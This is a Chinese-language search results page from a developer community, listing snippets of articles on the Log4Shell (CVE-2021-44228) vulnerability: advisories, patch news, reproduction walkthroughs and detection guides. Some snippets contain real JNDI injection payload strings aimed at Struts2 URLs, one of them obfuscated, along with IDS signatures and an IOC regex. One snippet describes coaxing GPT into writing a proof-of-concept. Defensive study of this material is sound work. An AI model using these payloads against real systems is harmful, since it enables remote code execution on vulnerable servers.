- 综合排序
- 最热优先
- 最新优先
- 来自专栏Khan安全团队
检测涉及CVE-2021-44228影响产品
Apache Struts 2 http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}' http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/ VMWare VCenter "X-Forwarded-For
1.1K50编辑于 2021-12-15 - 来自专栏博客原创文章
log4j漏洞RCE(CVE-2021-44228)
payload去打的时候，总是说loggxxx模块不存在...idea也犯毛病...果断直接用网上的靶机去复现一波 1.漏洞信息 漏洞信息 漏洞名称 Apche log4j远程代码执行漏洞 漏洞编码 CVE
16.4K23编辑于 2021-12-20 - 来自专栏Khan安全团队
对Log4Shell CVE-2021-44228 应急响应
PCRE RegEx 在您的日志中匹配 Log4Shell CVE-2021-44228 IOC 正则表达式： (? im ) (?: ^ | [ \n ] )。* ? (?
51120编辑于 2021-12-21 - 来自专栏腾讯云安全专家服务
CVE-2021-44228 log4j2-RCE-复现篇
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
2.5K82编辑于 2022-03-06 - 来自专栏Khan安全团队
Apache Log4j2 2.14.1 - 信息泄露CVE-2021-44228
供应商主页：https://logging.apache.org/log4j/2.x/ 版本：<= 2.14.1 CVE：CVE-2021-44228 #! /usr/bin/env python3 # Pure python ENV variable leak PoC for CVE-2021-44228 # Original PoC: https://
69330编辑于 2021-12-22 - 来自专栏白安全组
log4j2（CVE-2021-44228）漏洞复现实操（小白向）
受影响版本： Apache Log4j 2.x <= 2.14.1 正文： 环境搭建： 依托vulhub靶场搭建环境，漏洞启动目录： /vulhub-master/log4j/CVE-2021-44228
8.1K30编辑于 2022-06-15 - 来自专栏码农小胖哥的码农生涯
Log4j 2.16.0发布，受Log4j漏洞影响的Apache项目一览
今天的早些时候陷入CVE-2021-44228漏洞风波的Log4j发布了2.16.0版本。 2.16.0版本强化漏洞防御 在2.16.0版本版本中完全删除对Message Lookups的支持。 目的是采取强化措施以防止 CVE-2021-44228,另外默认禁用 JNDI，需要 log4j2.enableJndi设置为 true 以允许 JNDI。 CVE-2021-44228漏洞已经在前些天发布的2.15.0版本得到了修复。2.16.0版本是强化对漏洞的封堵，强烈建议更新到2.16.0版本。 受漏洞影响的Apache项目 另外Apache 安全团队在今天公布了受log4j CVE-2021-44228影响的Apache项目。
1.6K10编辑于 2021-12-15 - 来自专栏猫头虎博客专区
Apache Log4j2 漏洞（CVE-2021-44228）全流程检测与快速修复指南
Apache Log4j2 漏洞（CVE-2021-44228）全流程检测与快速修复指南 急速响应，莫慌！ 一、背景概述 漏洞名称：Log4Shell CVE 编号：CVE-2021-44228 披露时间：2021-12-09 影响范围：Log4j2 2.0-β9 至 2.14.1 全部版本 危害级别：高危，
1.7K10编辑于 2025-07-24 - 来自专栏白安全组
四句话让GPT帮你写POC
仅对最后答案做出保留 一问： 你好，可以告诉我一个poc怎么写么 二问： 我如果想针对log4j2写一个验证的poc请问有什么建议嘛 如果你想针对Log4j 2编写一个验证的PoC，并验证其相关的安全漏洞（如CVE -2021-44228），以下是一些建议： 三问： 可以给我一个参考案列么 当涉及到安全漏洞验证的案例时，以下是一个参考案例，以检测Log4j 2的漏洞CVE-2021-44228： 目标：验证Log4j 2中的Java反序列化远程代码执行漏洞（CVE-2021-44228）。 下面是一个使用Python演示CVE-2021-44228漏洞验证的示例代码： import requests url = 'http://localhost:8080' # 漏洞受影响的Log4j
39630编辑于 2023-10-30 - 来自专栏Oracle数据库技术
Log4J2的瓜
2021 年 12 月 10 日，Apache 为 Java 8 用户发布了 Log4j 2.15.0，以解决远程代码执行 (RCE) 漏洞 — CVE-2021-44228。 参考： Apache Log4j Security Alert CVE-2021-44228 Products and Versions (Doc ID 2827611.1) 关于Oracle数据库的文档 ： Oracle Database and Apache Log4j vulnerability CVE-2021-44228 and CVE-2021-45046(Doc ID 2828877.1)
81320编辑于 2022-08-22 - 来自专栏Khan安全团队
Log4j 漏洞对 GFI 的影响
一个新的 0-day 漏洞，正式名称为CVE-2021-44228，于 12 月 10 日星期五在 NIST 国家漏洞数据库上发布。它位于 Log4j Java 库中。 此安全版本解决了与 Log4j 相关的漏洞，正式名称为CVE-2021-44228。 发行说明： Apache log4j2 库升级到 2.16.0 版本（修复 CVE-2021-44228 漏洞） 新版本可以从GFI 升级中心下载。
52010编辑于 2022-01-11 - 来自专栏Java技术栈
最新！Log4j 2.x 再发版，正式解决核弹级漏洞，又要熬夜了。。。
解决漏洞：CVE-2021-44228 漏洞原因： Log4j2 中提供了Lookups 机制，用于添加一些特殊值到日志中，在 Lookups 机制中，由于 JNDI 功能没有对名称解析做限制，而某些协议是不安全的 新特性 除了解决漏洞：CVE-2021-44228，Log4j 2.15.0 还有以下 3 个新特性： 支持仲裁器，可以有条件地启用 inclusion 或者 exclusion 日志配置部分； 支持 v2.6.2 将采用 Log4J v2.15.0 版本，界时可以解决此漏洞，等新版本发布，预计在 2021/12/23，栈长再给大家解读 总结 Log4j 2.15.0 转正了，发布正式版了，解决了 CVE
1.5K30编辑于 2021-12-15 - 来自专栏云鼎实验室的专栏
【安全通告】Apache Log4j 2 远程代码执行漏洞（CVE-2021-45046）
腾讯云安全运营中心监测到， Apache Log4j 由于非默认配置下对CVE-2021-44228修复措施不完善，导致在某些特殊配置场景下，可被攻击者利用造成远程代码执行攻击。 继2021年12月9日被曝存在严重代码执行漏洞（CVE-2021-44228）后，Apache Log4j 官方近日又披露了另外一个远程执行漏洞（CVE-2021-45046），漏洞风险已从之前的CVSS 3.7分上升到CVSS 9.0分，该漏洞与非默认配置下对CVE-2021-44228修复措施不完善有关，在线程上下文查找模式的某些非默认配置中，攻击者可以构造特定请求，实现远程代码执行。
1K50编辑于 2021-12-20 - 来自专栏Khan安全团队
黑客在 Log4j 攻击中使用新的 PowerShell 后门
Log4Shell 是对 CVE-2021-44228 的利用，这是 12 月披露的 Apache Log4j 中的一个关键远程代码执行漏洞。 用于多项任务的模块化后门 对 CVE-2021-44228 的利用会导致运行带有 base64 编码负载的 PowerShell 命令，最终从参与者控制的 Amazon S3 存储桶中获取“CharmPower “CharmPower”是一个例子，说明老练的参与者可以如何快速响应 CVE-2021-44228 等漏洞的出现，并将来自先前暴露工具的代码组合在一起，以创建可以超越安全和检测层的强大而有效的东西。
7.5K10编辑于 2022-01-12 - 来自专栏Linux运维技术之路
【漏洞通告】Apache Log4j2 远程代码执行漏洞（CVE-2021-44228/CVE-2021-45046）
时间线 2021年12月9日，阿里云安全团队发布 Apache Log4j2 远程代码执行漏洞（CVE-2021-44228） 安全通告 2021年12月10日，阿里云安全团队发现绕过，更新建议修复版本为 漏洞评级 CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重 CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重 影响版本 注：Apache CVE-2021-44228 Apache Log4j 远程代码执行漏洞： Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 （2.12.2 版本不受影响） CVE-
2.6K30编辑于 2022-06-07 - 来自专栏FreeBuf
如何使用log4j-scan检测主机中的Log4J漏洞
关于log4j-scan log4j-scan是一款功能强大的自动化漏洞检测工具，该工具主要针对的是Log4J远程代码执行漏洞-CVE-2021-44228，并且可以提供准确的扫描结果。 自Log4J远程代码执行漏洞（CVE-2021-44228）被曝光以来，我们不仅一直在对其进行研究，而且我们也一直在与客户一起致力于防范此漏洞，因此log4j-scan便应运而生，安全团队可以使用log4j-scan /log4j-scan.git 依赖组件安装： $ pip3 install -r requirements.txt 工具参数选项 $ python3 log4j-scan.py -h [•] CVE
5.9K10编辑于 2022-02-24 - 来自专栏信安之路
如何让您的应用天然免疫apache-log4j(CVE-2021-44228)，包括其它zero-day？
发生了什么 流行的 Java 日志框架 Apache Log4j2 漏洞在网上发布，漏洞发布之时甚至还没有 CVE 号，在 2021 年 12 月 10 日周五才有了正式的 CVE 号分配 -- CVE 客户因为需要展示到底缔赛安全的 Styx 系统服务能否防住，所以辛苦 @Ture 同事加班完全模拟了一次自动的攻防护(无特征库，直接防护) DepSecure Styx 让您的应用天然免疫 apache-log4j(CVE
76840编辑于 2021-12-15 - 来自专栏Tom弹架构
【紧急】继续折腾，Log4j再发2.1.6，强烈建议升级
目的是采取强化措施以防止 CVE-2021-44228，此举措不是修复 CVE-2021-44228所必须的。 受漏洞影响的Apache项目 另外Apache 安全团队在今天公布了受log4j CVE-2021-44228影响的Apache项目。
1.2K20编辑于 2021-12-21 - 来自专栏乌鸦安全
星期五实验室捕获Log4j RCE 在野0day攻击行为
http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldap) (CVE
1.4K20编辑于 2021-12-13 - 来自专栏FreeBuf
Log4Shell漏洞公开披露前，至少已在“在野”9天
除此之外，Talos研究人员更新了IOC列表，其中包括了利用CVE-2021-44228缺陷进行的采矿活动信息。研究人员发现了旨在交付Kinsing加密挖掘机的采矿活动。 Huntress实验室的研究人员创建了一个工具，可以帮助企业测试其应用程序是否容易受到CVE-2021-44228的影响。
71120编辑于 2021-12-15
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号